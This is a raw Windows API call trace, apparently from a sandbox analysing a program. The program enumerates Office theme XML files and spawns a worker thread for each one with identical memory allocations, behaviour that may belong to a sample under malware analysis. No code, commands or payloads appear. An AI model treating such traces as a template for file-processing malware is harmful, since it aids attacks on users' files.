	[0262.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2aa0
	[0262.593] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.594] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x88, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1
	[0262.594] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.594] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2aa4
	[0262.595] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.596] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1
	[0262.596] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2aa8
	[0262.597] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.598] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x88, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1
	[0262.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2aac
	[0262.600] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.600] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0262.600] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ab0
	[0262.602] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.603] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1
	[0262.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ab4
	[0262.604] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.605] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1
	[0262.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ab8
	[0262.607] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.607] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1
	[0262.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2abc
	[0262.609] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.609] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x88, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1
	[0262.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac0
	[0262.611] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.611] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1
	[0262.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac4
	[0262.613] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.614] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1
	[0262.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.614] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac8
	[0262.615] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.616] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x88, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1
	[0262.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2acc
	[0262.617] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.617] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1
	[0262.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad0
	[0262.619] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.619] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1
	[0262.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad4
	[0262.809] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.810] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1
	[0262.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad8
	[0262.811] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.812] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1
	[0262.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2adc
	[0262.813] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.813] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x88, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1
	[0262.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae0
	[0262.815] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.815] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x88, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1
	[0262.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae4
	[0262.817] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.817] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1
	[0262.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ae8
	[0262.819] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.819] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x88, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1
	[0262.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2aec
	[0262.821] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.821] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1
	[0262.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2af0
	[0262.823] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.823] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x88, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1
	[0262.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2af4
	[0262.825] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.825] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1
	[0262.825] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2af8
	[0262.827] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.828] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1
	[0262.828] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2afc
	[0262.830] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.830] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x88, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1
	[0262.830] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b00
	[0262.831] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.832] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x88, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1
	[0262.832] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b04
	[0262.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.834] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x88, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1
	[0262.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b08
	[0262.836] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.837] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x88, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1
